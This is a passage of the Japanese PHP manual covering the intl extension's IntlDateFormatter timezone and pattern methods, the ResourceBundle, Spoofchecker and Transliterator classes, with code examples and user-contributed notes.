echo 'Now pattern of the formatter is : ' . datefmt_get_pattern($fmt);
echo 'Second Formatted output with pattern is ' . datefmt_format($fmt, 0);

?>

例2 オブジェクト指向の例

<?php
$fmt = new IntlDateFormatter(
    'en_US',
    IntlDateFormatter::FULL,IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN,
    'MM/dd/yyyy'
);
echo 'pattern of the formatter is : ' . $fmt->getPattern();
echo 'First Formatted output is ' . $fmt->format(0);
$fmt->setPattern('yyyymmdd hh:mm:ss z');
echo 'Now pattern of the formatter is : ' . $fmt->getPattern();
echo 'Second Formatted output is ' . $fmt->format(0);

?>

上の例の出力は以下となります。

pattern of the formatter is : MM/dd/yyyy
First Formatted output with pattern is 12/31/1969
Now pattern of the formatter is : yyyymmdd hh:mm:ss z
Second Formatted output with pattern is 19690031 04:00:00 PST

参考

  • datefmt_get_pattern() - IntlDateFormatter が使用するパターンを取得する
  • datefmt_create() - Date Formatter を作成する

User Contributed Notes

There are no user contributed notes for this page.


タイムゾーンを設定する

  • ≪ IntlDateFormatter::setPattern
  • ResourceBundle ≫
  • PHP Manual
  • IntlDateFormatter
  • タイムゾーンを設定する

IntlDateFormatter::setTimeZone

datefmt_set_timezone

(PHP 5 >= 5.5.0, PHP 7, PECL intl >= 3.0.0)

IntlDateFormatter::setTimeZone -- datefmt_set_timezone — タイムゾーンを設定する

説明

オブジェクト指向型

public IntlDateFormatter::setTimeZone ( IntlTimeZone|DateTimeZone|string|null $timezone ) : bool|null

手続き型

datefmt_set_timezone ( IntlDateFormatter $formatter , IntlTimeZone|DateTimeZone|string|null $timezone ) : bool|null

IntlDateFormatter によって使われるタイムゾーンを設定します。

パラメータ

formatter

フォーマッターのリソース

timezone

利用するタイムゾーン。次の形式で指定できます。

  • null。この場合はデフォルトのタイムゾーンを使います。デフォルトは、ini 項目 date.timezone で設定したものか、 date_default_timezone_set() 関数で指定したもの (そして date_default_timezone_get() が返すもの) になります。

  • IntlTimeZone。これを直接使います。

  • DateTimeZone。その識別子を取り出して、ICU タイムゾーンオブジェクトを作ります。 つまり、これは ICU のデータベースに基づくタイムゾーンとなり、PHP のタイムゾーンデータベースに基づくものではありません。

  • 文字列。ICU タイムゾーン識別子として有効なものを指定します。 IntlTimeZone::createTimeZoneIDEnumeration() を参照ください。 "GMT+08:30" などのオフセットも指定できます。

返り値

成功した場合に null、失敗した場合に false を返します。

例

例1 IntlDateFormatter::setTimeZone() の例

<?php
ini_set('date.timezone', 'Europe/Amsterdam');

$formatter = IntlDateFormatter::create(NULL, NULL, NULL, "UTC");

$formatter->setTimeZone(NULL);
echo "NULL\n    ", $formatter->getTimeZone()->getId(), "\n";

$formatter->setTimeZone(IntlTimeZone::createTimeZone('Europe/Lisbon'));
echo "IntlTimeZone\n    ", $formatter->getTimeZone()->getId(), "\n";

$formatter->setTimeZone(new DateTimeZone('Europe/Paris'));
echo "DateTimeZone\n    ", $formatter->getTimeZone()->getId(), "\n";

$formatter->setTimeZone('Europe/Rome');
echo "String\n    ", $formatter->getTimeZone()->getId(), "\n";

$formatter->setTimeZone('GMT+00:30');
print_r($formatter->getTimeZone());

上の例の出力は以下となります。

NULL
    Europe/Amsterdam
IntlTimeZone
    Europe/Lisbon
DateTimeZone
    Europe/Paris
String
    Europe/Rome
IntlTimeZone Object
(
    [valid] => 1
    [id] => GMT+00:30
    [rawOffset] => 1800000
    [currentOffset] => 1800000
)

参考

  • IntlDateFormatter::getTimeZone() - タイムゾーンを取得する

User Contributed Notes

There are no user contributed notes for this page.


ResourceBundle クラス

(PHP 5 >= 5.3.2, PHP 7, PECL intl >= 2.0.0)

はじめに

ローカライズしたソフトウェア製品には、 現在のロケールによって切り替えるデータのセットが必要となることがよくあります。 たとえばメッセージやラベル、書式パターンなどです。 ICU のリソース機能を使うと、リソースセットを定義することができます。 ロケールに基づいてアプリケーションからこれを読み込み、 ロケールにかかわらず統一された方法でアクセスすることができます。

このクラスは ICU のリソースデータファイルへのアクセスを実装しています。 このファイルはバイナリデータの配列で、ICU がローカライズしたデータを保存するために使っています。

ICU リソースバンドルには、シンプルなリソースと複雑なリソースを保持することができます。 複雑なリソースとはコンテナ形式のもので、数値添字あるいは文字列添字 (PHP の配列と同じ) のいずれかの形式になります。シンプルなリソースは 文字列、整数、バイナリデータフィールド、整数の配列 のいずれかの型となります。

ResourceBundle からデータにアクセスするには、 配列を使う方法と foreach を使う方法、そしてクラスメソッドを使う方法があります。 シンプルなリソースの場合は PHP の値、複雑なリソースの場合は ResourceBundle オブジェクトとして取得できます。 リソースはすべて読み込み専用となります。

クラス概要

ResourceBundle {
/* メソッド */
public __construct ( string $locale , string $bundlename , bool $fallback = ? )
public count ( ) : int
public static create ( string $locale , string $bundlename , bool $fallback = ? ) : ResourceBundle
public getErrorCode ( ) : int
public getErrorMessage ( ) : string
public get ( string|int $index , bool $fallback = true ) : mixed
public getLocales ( string $bundlename ) : array
}

参考

  • » ICU Resource Management
  • » ICU Data

目次

  • ResourceBundle::count — バンドル内の要素数を取得する
  • ResourceBundle::create — リソースバンドルを作成する
  • ResourceBundle::getErrorCode — バンドルの直近のエラーコードを取得する
  • ResourceBundle::getErrorMessage — バンドルの直近のエラーメッセージを取得する
  • ResourceBundle::get — バンドルからデータを取得する
  • ResourceBundle::getLocales — サポートするロケールを取得する

User Contributed Notes

maiseralves at gmail dot com 19-May-2011 01:03
<?php
/*
 * Struct of a Resource Bundle file
 * file root.txt
 * root:table {
 *       usage:string { "Usage: genrb [Options] files" }
 *       version:int { 122 }
 *       errorcodes:array {
 *           :string { "Invalid argument" }
 *           :string { "File not found" }
 *        }
 *   }
 * use: $genrb root.txt to generate resource bundle file (root.res)
 */

//recursive function to list a resource bundle file structure using a ResourceBundle Object ( ) reference
function t($rb) {
    foreach($rb as $k => $v) {
        if(is_object($v)) {
            print_r($v);
            var_dump($k);
            t($v);
        } else {
            var_dump($k . " " . $v);
        }
    }
}
//open root.res from folder locale
$rb = new ResourceBundle('root', "./locale");

t($rb);//call the function

/* The output from root table is
 *   |- string(34) "usage Usage: genrb [Options] files"
 *   |- string(11) "version 122"
 *   |- ResourceBundle Object ( ) string(10) "errorcodes"
 *         |- string(18) "0 Invalid argument"
 *         |- string(16) "1 File not found"
 */
?>


バンドル内の要素数を取得する

  • ≪ ResourceBundle
  • ResourceBundle::create ≫
  • PHP Manual
  • ResourceBundle
  • バンドル内の要素数を取得する

ResourceBundle::count

resourcebundle_count

(PHP 5 >= 5.3.2, PHP 7, PECL intl >= 2.0.0)

ResourceBundle::count -- resourcebundle_count — バンドル内の要素数を取得する

説明

オブジェクト指向型

public ResourceBundle::count ( ) : int

手続き型

resourcebundle_count ( ResourceBundle $r ) : int

バンドル内の要素数を取得します。

パラメータ

r

ResourceBundle オブジェクト。

返り値

バンドル内の要素数を返します。

例

例1 resourcebundle_count() の例

<?php
$r = resourcebundle_create( 'es', "/usr/share/data/myapp");
echo resourcebundle_count($r);
?>

例2 オブジェクト指向の例

<?php
$r = new ResourceBundle( 'es', "/usr/share/data/myapp");
echo $r->count();
?>

上の例の出力は以下となります。

42

参考

  • resourcebundle_get() - バンドルからデータを取得する

User Contributed Notes

There are no user contributed notes for this page.


リソースバンドルを作成する

  • ≪ ResourceBundle::count
  • ResourceBundle::getErrorCode ≫
  • PHP Manual
  • ResourceBundle
  • リソースバンドルを作成する

ResourceBundle::create

resourcebundle_create

ResourceBundle::__construct

(PHP 5 >= 5.3.2, PHP 7, PECL intl >= 2.0.0)

ResourceBundle::create -- resourcebundle_create -- ResourceBundle::__construct — リソースバンドルを作成する

説明

オブジェクト指向型 (メソッド)

public static ResourceBundle::create ( string $locale , string $bundlename , bool $fallback = ? ) : ResourceBundle

手続き型

resourcebundle_create ( string $locale , string $bundlename , bool $fallback = ? ) : ResourceBundle

オブジェクト指向型 (コンストラクタ)

public ResourceBundle::__construct ( string $locale , string $bundlename , bool $fallback = ? )

リソースバンドルを作成します。

パラメータ

locale

リソースバンドルを読み込むロケール (en_CA などのロケール名)。

bundlename

データが格納されているディレクトリ、あるいは .dat ファイル名。

fallback

ロケールを完全一致とするか、あるいは代替として親ロケールを使うことを許可するか。

返り値

ResourceBundle オブジェクト、あるいはエラー時に null を返します。

例

例1 resourcebundle_create() の例

<?php
$r = resourcebundle_create( 'es', "/usr/share/data/myapp");
echo $r['teststring'];
?>

例2 ResourceBundle::create() の例

<?php
$r = ResourceBundle::create( 'es', "/usr/share/data/myapp");
echo $r['teststring'];
?>

上の例の出力は以下となります。

!Hola, mundo!

参考

  • resourcebundle_get() - バンドルからデータを取得する

User Contributed Notes

Anonymous 22-Oct-2019 12:50
Depending on the data you want to load, you might need to pass 'root' or something different as $locale.
Here is a list of examples and the corresponding link to the file that gets loaded:

ResourceBundle::create('de', 'ICUDATA-brkitr', false)
https://github.com/unicode-org/icu/blob/release-65-1/icu4c/source/data/brkitr/de.txt

ResourceBundle::create('root', 'ICUDATA-curr', false)
https://github.com/unicode-org/icu/blob/release-65-1/icu4c/source/data/curr/root.txt

ResourceBundle::create('root', 'ICUDATA-translit', false)
https://github.com/unicode-org/icu/blob/release-65-1/icu4c/source/data/translit/root.txt

ResourceBundle::create('likelySubtags', 'ICUDATA', false)
https://github.com/unicode-org/icu/blob/release-65-1/icu4c/source/data/misc/likelySubtags.txt
mail at dasprids dot de 23-Jun-2014 12:17
Since this took me over 4 hours to find out after digging through the libicu source code, I thought it'd be a good idea to post it here. do access othere thata than the default "locale" data (which you get by passing NULL as $bundlename), you can use the following somewhat magic strings to get other resource bundles:

ICUDATA-curr
ICUDATA-lang
ICUDATA-region
ICUDATA-zone
mail at dasprids dot de 22-Jun-2014 09:55
To get the resource bundle provided by libicu, you can pass "null" as $bundlename.


バンドルの直近のエラーコードを取得する

  • ≪ ResourceBundle::create
  • ResourceBundle::getErrorMessage ≫
  • PHP Manual
  • ResourceBundle
  • バンドルの直近のエラーコードを取得する

ResourceBundle::getErrorCode

resourcebundle_get_error_code

(PHP 5 >= 5.3.2, PHP 7, PECL intl >= 2.0.0)

ResourceBundle::getErrorCode -- resourcebundle_get_error_code — バンドルの直近のエラーコードを取得する

説明

オブジェクト指向型

public ResourceBundle::getErrorCode ( ) : int

手続き型

resourcebundle_get_error_code ( ResourceBundle $r ) : int

バンドルオブジェクトが最後に実行した関数のエラーコードを取得します。

パラメータ

r

ResourceBundle オブジェクト。

返り値

バンドルオブジェクトの最後の関数コールからのエラーコードを返します。

例

例1 resourcebundle_get_error_code() の例

<?php
$r = resourcebundle_create( 'es', "/usr/share/data/myapp");
echo $r['somestring'];
if(intl_is_failure(resourcebundle_get_error_code($r))) {
    report_error("Bundle error");
}
?>

例2 オブジェクト指向の例

<?php
$r = new ResourceBundle( 'es', "/usr/share/data/myapp");
echo $r['somestring'];
if(intl_is_failure(ResourceBundle::getErrorCode($r))) {
    report_error("Bundle error");
}
?>

参考

  • resourcebundle_get_error_message() - バンドルの直近のエラーメッセージを取得する
  • intl_get_error_code() - 直近のエラーコードを取得する
  • intl_is_failure() - 指定したエラーコードが失敗を表すかどうかを調べる

User Contributed Notes

There are no user contributed notes for this page.


バンドルの直近のエラーメッセージを取得する

  • ≪ ResourceBundle::getErrorCode
  • ResourceBundle::get ≫
  • PHP Manual
  • ResourceBundle
  • バンドルの直近のエラーメッセージを取得する

ResourceBundle::getErrorMessage

resourcebundle_get_error_message

(PHP 5 >= 5.3.2, PHP 7, PECL intl >= 2.0.0)

ResourceBundle::getErrorMessage -- resourcebundle_get_error_message — バンドルの直近のエラーメッセージを取得する

説明

オブジェクト指向型

public ResourceBundle::getErrorMessage ( ) : string

手続き型

resourcebundle_get_error_message ( ResourceBundle $r ) : string

バンドルオブジェクトが最後に実行した関数のエラーメッセージを取得します。

パラメータ

r

ResourceBundle オブジェクト。

返り値

バンドルオブジェクトの最後の関数コールからのエラーメッセージを返します。

例

例1 resourcebundle_get_error_message() の例

<?php
$r = resourcebundle_create( 'es', "/usr/share/data/myapp");
echo $r['somestring'];
if(intl_is_failure(resourcebundle_get_error_code($r))) {
    report_error("Bundle error: ".resourcebundle_get_error_message($r));
}
?>

例2 オブジェクト指向の例

<?php
$r = new ResourceBundle( 'es', "/usr/share/data/myapp");
echo $r['somestring'];
if(intl_is_failure(ResourceBundle::getErrorCode($r))) {
    report_error("Bundle error: ".ResourceBundle::getErrorMessage($r));
}
?>

参考

  • resourcebundle_get_error_code() - バンドルの直近のエラーコードを取得する
  • intl_get_error_code() - 直近のエラーコードを取得する
  • intl_is_failure() - 指定したエラーコードが失敗を表すかどうかを調べる

User Contributed Notes

There are no user contributed notes for this page.


バンドルからデータを取得する

  • ≪ ResourceBundle::getErrorMessage
  • ResourceBundle::getLocales ≫
  • PHP Manual
  • ResourceBundle
  • バンドルからデータを取得する

ResourceBundle::get

resourcebundle_get

(PHP 5 >= 5.3.2, PHP 7, PECL intl >= 2.0.0)

ResourceBundle::get -- resourcebundle_get — バンドルからデータを取得する

説明

オブジェクト指向型

public ResourceBundle::get ( string|int $index , bool $fallback = true ) : mixed

手続き型

resourcebundle_get ( ResourceBundle $r , string|int $index , bool $fallback = true ) : mixed

インデックスあるいは文字列キーを指定して、バンドルからデータを取得します。

パラメータ

r

ResourceBundle オブジェクト。

index

データのインデックス。文字列あるいは整数値となります。

fallback

ロケールが正確にマッチしなければ、 親のロケールにfallback することを許すかどうか

返り値

指定したインデックスのデータ、あるいはエラー時に null を返します。 文字列、整数値、バイナリデータ文字列は、それぞれに対応する PHP の型として返します。 整数の配列は PHP の配列として返します。複雑な型は ResourceBundle オブジェクトとして返します。

例

例1 resourcebundle_get() の例

<?php
$r = resourcebundle_create( 'es', "/usr/share/data/myapp");
echo resourcebundle_get($r, 'somestring');
?>

例2 オブジェクト指向の例

<?php
$r = new ResourceBundle( 'es', "/usr/share/data/myapp");
echo $r->get('somestring');
?>

上の例の出力は以下となります。

?Hola, mundo!

参考

  • resourcebundle_count() - バンドル内の要素数を取得する

User Contributed Notes

There are no user contributed notes for this page.


サポートするロケールを取得する

  • ≪ ResourceBundle::get
  • Spoofchecker ≫
  • PHP Manual
  • ResourceBundle
  • サポートするロケールを取得する

ResourceBundle::getLocales

resourcebundle_locales

(PHP 5 >= 5.3.2, PHP 7, PECL intl >= 2.0.0)

ResourceBundle::getLocales -- resourcebundle_locales — サポートするロケールを取得する

説明

オブジェクト指向型

public ResourceBundle::getLocales ( string $bundlename ) : array

手続き型

resourcebundle_locales ( string $bundlename ) : array

ResourceBundle 名を指定して、サポートするロケールを取得します。

パラメータ

bundlename

ロケールを取得したい ResourceBundle のパス、あるいは 空文字列を指定するとデフォルトのロケール一覧を取得できます。

返り値

このバンドルがサポートするロケールの一覧を返します。

例

例1 resourcebundle_locales() の例

<?php
$bundle = "/user/share/data/myapp";
echo join(PHP_EOL, resourcebundle_locales($bundle));
?>

上の例の出力は、 たとえば以下のようになります。

es
root

例2 オブジェクト指向の例

<?php
$bundle = "/usr/share/data/myapp";
$r = new ResourceBundle( 'es', $bundle);
echo join("\n", $r->getLocales($bundle));
?>

上の例の出力は、 たとえば以下のようになります。

es
root

参考

  • resourcebundle_get() - バンドルからデータを取得する

User Contributed Notes

jared at enhancesoft dot com 20-Oct-2014 02:53
If you call this method with an empty string, it will return a list of all locales available in the ICU library (via the intl extension):

<?php
print_r(ResourceBundle::getLocales(''));

 /* Output might show
  * Array
  * (
  *    [0] => af
  *    [1] => af_NA
  *    [2] => af_ZA
  *    [3] => am
  *    [4] => am_ET
  *    [5] => ar
  *    [6] => ar_AE
  *    [7] => ar_BH
  *    [8] => ar_DZ
  *    [9] => ar_EG
  *    [10] => ar_IQ
  *  ...
  */
?>


The Spoofchecker class

(PHP 5 >= 5.4.0, PHP 7, PECL intl >= 2.0.0)

はじめに

This class is provided because Unicode contains large number of characters and incorporates the varied writing systems of the world and their incorrect usage can expose programs or systems to possible security attacks using characters similarity.

Provided methods allow to check whether an individual string is likely an attempt at confusing the reader (spoof detection), such as "pаypаl" spelled with Cyrillic 'а' characters.

クラス概要

Spoofchecker {
/* Constants */
const int|float ASCII = 0x10000000 ;
const int|float HIGHLY_RESTRICTIVE = 0x30000000 ;
const int|float MODERATELY_RESTRICTIVE = 0x40000000 ;
const int|float MINIMALLY_RESTRICTIVE = 0x50000000 ;
const int|float UNRESTRICTIVE = 0x60000000 ;
const int|float SINGLE_SCRIPT_RESTRICTIVE = 0x20000000 ;
const int SINGLE_SCRIPT_CONFUSABLE = 1 ;
const int MIXED_SCRIPT_CONFUSABLE = 2 ;
const int WHOLE_SCRIPT_CONFUSABLE = 4 ;
const int ANY_CASE = 8 ;
const int SINGLE_SCRIPT = 16 ;
const int INVISIBLE = 32 ;
const int CHAR_LIMIT = 64 ;
/* メソッド */
public areConfusable ( string $str1 , string $str2 , string &$error = ? ) : bool
public __construct ( )
public isSuspicious ( string $text , string &$error = ? ) : bool
public setAllowedLocales ( string $locale_list ) : void
public setChecks ( int $checks ) : void
}

定義済み定数

Spoofchecker::ASCII

Spoofchecker::HIGHLY_RESTRICTIVE

Spoofchecker::MODERATELY_RESTRICTIVE

Spoofchecker::MINIMALLY_RESTRICTIVE

Spoofchecker::UNRESTRICTIVE

Spoofchecker::SINGLE_SCRIPT_RESTRICTIVE

Spoofchecker::SINGLE_SCRIPT_CONFUSABLE

Spoofchecker::MIXED_SCRIPT_CONFUSABLE

Spoofchecker::WHOLE_SCRIPT_CONFUSABLE

Spoofchecker::ANY_CASE

Spoofchecker::SINGLE_SCRIPT

Spoofchecker::INVISIBLE

Spoofchecker::CHAR_LIMIT

変更履歴

バージョン | 説明
7.3.0 | Class constants used by Spoofchecker::setRestrictionLevel() such as Spoofchecker::ASCII, Spoofchecker::HIGHLY_RESTRICTIVE, Spoofchecker::MODERATELY_RESTRICTIVE, Spoofchecker::MINIMALLY_RESTRICTIVE, Spoofchecker::UNRESTRICTIVE, Spoofchecker::SINGLE_SCRIPT_RESTRICTIVE has been added.

目次

  • Spoofchecker::areConfusable — Checks if given strings can be confused
  • Spoofchecker::__construct — Constructor
  • Spoofchecker::isSuspicious — Checks if a given text contains any suspicious characters
  • Spoofchecker::setAllowedLocales — チェック時に使うロケールを設定する
  • Spoofchecker::setChecks — 実行するチェックを設定する

User Contributed Notes

Anonymous 20-Apr-2018 12:38
Spoofchecker yields false positives by defaut when Whole-Script Confusables (WSC) and Mixed-Script Confusables (MSC) checks are used.
They have been deprecated since ICU 58:
http://bugs.icu-project.org/trac/ticket/12549#comment:10

Workarounds: upgrade ICU to 58+, or avoid the MSC and WSC checks with Spoofcheckers' setChecks() function.
Anonymous 27-May-2017 07:07
From http://icu-project.org/apiref/icu4j/com/ibm/icu/text/SpoofChecker.html :
SINGLE_SCRIPT_CONFUSABLE: indicates that the two strings are visually confusable and that they are from the same script
MIXED_SCRIPT_CONFUSABLE: indicates that the two strings are visually confusable and that they are NOT from the same script
WHOLE_SCRIPT_CONFUSABLE: indicates that the two strings are visually confusable and that they are NOT from the same script BUT both of them are single-script strings
ANY_CASE: Deprecated.
SINGLE_SCRIPT: Deprecated.
INVISIBLE: Check an identifier for the presence of invisible characters, such as zero-width spaces, or character sequences that are likely not to display, such as multiple occurrences of the same non-spacing mark.
CHAR_LIMIT: Check that an identifier contains only characters from a specified set of acceptable characters.

Explanation of whole script, mixed script and single script confusables in UTS 39 section 4 : http://unicode.org/reports/tr39/#Confusable_Detection

Details from Java SpoofChecker class at http://icu-project.org/apiref/icu4j/com/ibm/icu/text/SpoofChecker.html


Checks if given strings can be confused

  • ≪ Spoofchecker
  • Spoofchecker::__construct ≫
  • PHP Manual
  • Spoofchecker
  • Checks if given strings can be confused

Spoofchecker::areConfusable

(PHP 5 >= 5.4.0, PHP 7, PECL intl >= 2.0.0)

Spoofchecker::areConfusable — Checks if given strings can be confused

説明

public Spoofchecker::areConfusable ( string $str1 , string $str2 , string &$error = ? ) : bool

Checks whether two given strings can easily be mistaken.

パラメータ

str1

First string to check.

str2

Second string to check.

error

This variable is set by-reference to string containing an error, if there were any.

返り値

Returns true if two given strings can be confused, false otherwise.

例

例1 Spoofchecker::areConfusable() example

<?php
$checker = new Spoofchecker();

$checker->areConfusable('google.com', 'goog1e.com'); // true
// Lower l can be confused with digit one

$checker->areConfusable('google.com', 'g00g1e.com'); // false
// Zero (0) cannot be easily confused with "o" letter

User Contributed Notes

There are no user contributed notes for this page.


Constructor

  • ≪ Spoofchecker::areConfusable
  • Spoofchecker::isSuspicious ≫
  • PHP Manual
  • Spoofchecker
  • Constructor

Spoofchecker::__construct

(PHP 5 >= 5.4.0, PHP 7, PECL intl >= 2.0.0)

Spoofchecker::__construct — Constructor

説明

public Spoofchecker::__construct ( )

Creates new instance of Spoofchecker.

パラメータ

この関数にはパラメータはありません。

返り値

Returns Spoofchecker instance.

User Contributed Notes

There are no user contributed notes for this page.


Checks if a given text contains any suspicious characters

  • ≪ Spoofchecker::__construct
  • Spoofchecker::setAllowedLocales ≫
  • PHP Manual
  • Spoofchecker
  • Checks if a given text contains any suspicious characters

Spoofchecker::isSuspicious

(PHP 5 >= 5.4.0, PHP 7, PECL intl >= 2.0.0)

Spoofchecker::isSuspicious — Checks if a given text contains any suspicious characters

説明

public Spoofchecker::isSuspicious ( string $text , string &$error = ? ) : bool

Checks if given string contains any suspicious characters like letters which are almost identical visually, but are Unicode characters from different sets.

パラメータ

text

String to test.

error

This variable is set by-reference to string containing an error, if there were any.

返り値

Returns true if there are suspicious characters, false otherwise.

例

例1 Spoofchecker::isSuspicious() example

<?php
$checker = new Spoofchecker();

$checker->isSuspicious('google.com'); // FALSE: only ASCII characters

$checker->isSuspicious('Рaypal.com'); // TRUE
// The first letter is from Cyrylic, not a regular latin "P"

User Contributed Notes

There are no user contributed notes for this page.


チェック時に使うロケールを設定する

  • ≪ Spoofchecker::isSuspicious
  • Spoofchecker::setChecks ≫
  • PHP Manual
  • Spoofchecker
  • チェック時に使うロケールを設定する

Spoofchecker::setAllowedLocales

(PHP 5 >= 5.4.0, PHP 7, PECL intl >= 2.0.0)

Spoofchecker::setAllowedLocales — チェック時に使うロケールを設定する

説明

public Spoofchecker::setAllowedLocales ( string $locale_list ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

locale_list

返り値

User Contributed Notes

There are no user contributed notes for this page.


実行するチェックを設定する

  • ≪ Spoofchecker::setAllowedLocales
  • Transliterator ≫
  • PHP Manual
  • Spoofchecker
  • 実行するチェックを設定する

Spoofchecker::setChecks

(PHP 5 >= 5.4.0, PHP 7, PECL intl >= 2.0.0)

Spoofchecker::setChecks — 実行するチェックを設定する

説明

public Spoofchecker::setChecks ( int $checks ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

checks

返り値

User Contributed Notes

There are no user contributed notes for this page.


Transliterator クラス

(PHP 5 >= 5.4.0, PHP 7, PECL intl >= 2.0.0)

はじめに

Transliterator クラスは、文字列の音訳を行います。

クラス概要

Transliterator {
/* 定数 */
const int FORWARD = 0 ;
const int REVERSE = 1 ;
/* プロパティ */
public $id ;
/* メソッド */
private __construct ( )
public static create ( string $id , int $direction = ? ) : Transliterator
public static createFromRules ( string $rules , string $direction = ? ) : Transliterator
public createInverse ( ) : Transliterator
public getErrorCode ( ) : int
public getErrorMessage ( ) : string
public static listIDs ( ) : array|false
public transliterate ( string $subject , int $start = ? , int $end = ? ) : string|false
}

プロパティ

id

定義済み定数

Transliterator::FORWARD

Transliterator::REVERSE

目次

  • Transliterator::__construct — インスタンス化を拒否するために private にしたコンストラクタ
  • Transliterator::create — Transliterator を作成する
  • Transliterator::createFromRules — 規則に基づいた Transliterator を作成する
  • Transliterator::createInverse — 逆方向の Transliterator を作成する
  • Transliterator::getErrorCode — 直近のエラーコードを取得する
  • Transliterator::getErrorMessage — 直近のエラーメッセージを取得する
  • Transliterator::listIDs — Transliterator の ID を取得する
  • Transliterator::transliterate — 文字列を音訳する

User Contributed Notes

asphp at dsgml dot com 02-Sep-2014 09:07
For more documentation see here: http://userguide.icu-project.org/transforms/general


インスタンス化を拒否するために private にしたコンストラクタ

  • ≪ Transliterator
  • Transliterator::create ≫
  • PHP Manual
  • Transliterator
  • インスタンス化を拒否するために private にしたコンストラクタ

Transliterator::__construct

(PHP 5 >= 5.4.0, PHP 7, PECL intl >= 2.0.0)

Transliterator::__construct — インスタンス化を拒否するために private にしたコンストラクタ

説明

private Transliterator::__construct ( )

このメソッドをコールしてはいけません。 new 演算子によるインスタンス化を拒否するために用意されたものです。

かわりに、ファクトリーメソッドである Transliterator::create() あるいは Transliterator::createFromRules() を使いましょう。

パラメータ

この関数にはパラメータはありません。

返り値

このメソッドをコールしてはいけません。仮にリフレクションなどを使ってコールしたとしても、 その返り値は不定です。

参考

  • Transliterator::create() - Transliterator を作成する
  • Transliterator::createFromRules() - 規則に基づいた Transliterator を作成する

User Contributed Notes

There are no user contributed notes for this page.


Transliterator を作成する

  • ≪ Transliterator::__construct
  • Transliterator::createFromRules ≫
  • PHP Manual
  • Transliterator
  • Transliterator を作成する

Transliterator::create

transliterator_create

(PHP 5 >= 5.4.0, PHP 7, PECL intl >= 2.0.0)

Transliterator::create -- transliterator_create — Transliterator を作成する

説明

オブジェクト指向型

public static Transliterator::create ( string $id , int $direction = ? ) : Transliterator

手続き型

transliterator_create ( string $id , int $direction = ? ) : Transliterator

ID を指定して Transliterator をオープンします。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

id

ID を指定します。 全ての登録済みの transliterator ID は、 Transliterator::listIDs() を使って取得できます。

direction

方向。デフォルトは Transliterator::FORWARD です。 Transliterator::REVERSE も指定できます。

返り値

成功した場合に Transliterator オブジェクト、失敗した場合に null を返します。

参考

  • Transliterator::getErrorMessage() - 直近のエラーメッセージを取得する
  • Transliterator::__construct() - インスタンス化を拒否するために private にしたコンストラクタ

User Contributed Notes

Harry..de 27-Oct-2020 07:27
// Translit each and every char to ASCII

$string = 'Москва?';
$string = Transliterator::create('Any-Latin; Latin-ASCII')->transliterate($string);

print $string;

// the result is "Moskva"
Jan Kucha 07-Aug-2020 06:50
If you want to go deeper into what is going on, read the ICU projects docs: http://userguide.icu-project.org/transforms/general

This API call is basically just wrapper around ICU Transliteration.
Baran Sakallolu 12-Nov-2019 08:29
A good example of create for non latin languages is Turkish.

There both upper case I character and lowercase ? character which makes other strtolower kind of functions useless.

$text = "I?d?r";

echo Transliterator::create("tr-Lower")->transliterate($text);

will return the correct result ??d?r, not i?d?r .


規則に基づいた Transliterator を作成する

  • ≪ Transliterator::create
  • Transliterator::createInverse ≫
  • PHP Manual
  • Transliterator
  • 規則に基づいた Transliterator を作成する

Transliterator::createFromRules

transliterator_create_from_rules

(PHP 5 >= 5.4.0, PHP 7, PECL intl >= 2.0.0)

Transliterator::createFromRules -- transliterator_create_from_rules — 規則に基づいた Transliterator を作成する

説明

オブジェクト指向型

public static Transliterator::createFromRules ( string $rules , string $direction = ? ) : Transliterator

手続き型

transliterator_create_from_rules ( string $id , int $direction = ? ) : Transliterator

規則に基づいた Transliterator を作成します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

rules

UTS #35 (LDML) の "Transform Rules Syntax" で定義されている規則です。

direction

方向。デフォルトは >Transliterator::FORWARD です。 Transliterator::REVERSE も指定できます。

返り値

成功した場合に Transliterator オブジェクト、失敗した場合に null を返します。

参考

  • Transliterator::getErrorMessage() - 直近のエラーメッセージを取得する
  • Transliterator::create() - Transliterator を作成する

User Contributed Notes

There are no user contributed notes for this page.


逆方向の Transliterator を作成する

  • ≪ Transliterator::createFromRules
  • Transliterator::getErrorCode ≫
  • PHP Manual
  • Transliterator
  • 逆方向の Transliterator を作成する

Transliterator::createInverse

transliterator_create_inverse

(PHP 5 >= 5.4.0, PHP 7, PECL intl >= 2.0.0)

Transliterator::createInverse -- transliterator_create_inverse — 逆方向の Transliterator を作成する

説明

オブジェクト指向型

public Transliterator::createInverse ( ) : Transliterator

手続き型

transliterator_create_inverse ( ) : Transliterator

逆方向の Transliterator をオープンします。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に Transliterator オブジェクト、失敗した場合に null を返します。

参考

  • Transliterator::getErrorMessage() - 直近のエラーメッセージを取得する
  • Transliterator::create() - Transliterator を作成する

User Contributed Notes

There are no user contributed notes for this page.


直近のエラーコードを取得する

  • ≪ Transliterator::createInverse
  • Transliterator::getErrorMessage ≫
  • PHP Manual
  • Transliterator
  • 直近のエラーコードを取得する

Transliterator::getErrorCode

transliterator_get_error_code

(PHP 5 >= 5.4.0, PHP 7, PECL intl >= 2.0.0)

Transliterator::getErrorCode -- transliterator_get_error_code — 直近のエラーコードを取得する

説明

オブジェクト指向型

public Transliterator::getErrorCode ( ) : int

手続き型

transliterator_get_error_code ( Transliterator $trans ) : int

この Transliterator の直近のエラーコードを取得します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

trans

返り値

成功した場合にエラーコードを返します。 エラーがない場合や失敗した場合は false を返します。

参考

  • Transliterator::getErrorMessage() - 直近のエラーメッセージを取得する
  • Transliterator::listIDs() - Transliterator の ID を取得する

User Contributed Notes

There are no user contributed notes for this page.


直近のエラーメッセージを取得する

  • ≪ Transliterator::getErrorCode
  • Transliterator::listIDs ≫
  • PHP Manual
  • Transliterator
  • 直近のエラーメッセージを取得する

Transliterator::getErrorMessage

transliterator_get_error_message

(PHP 5 >= 5.4.0, PHP 7, PECL intl >= 2.0.0)

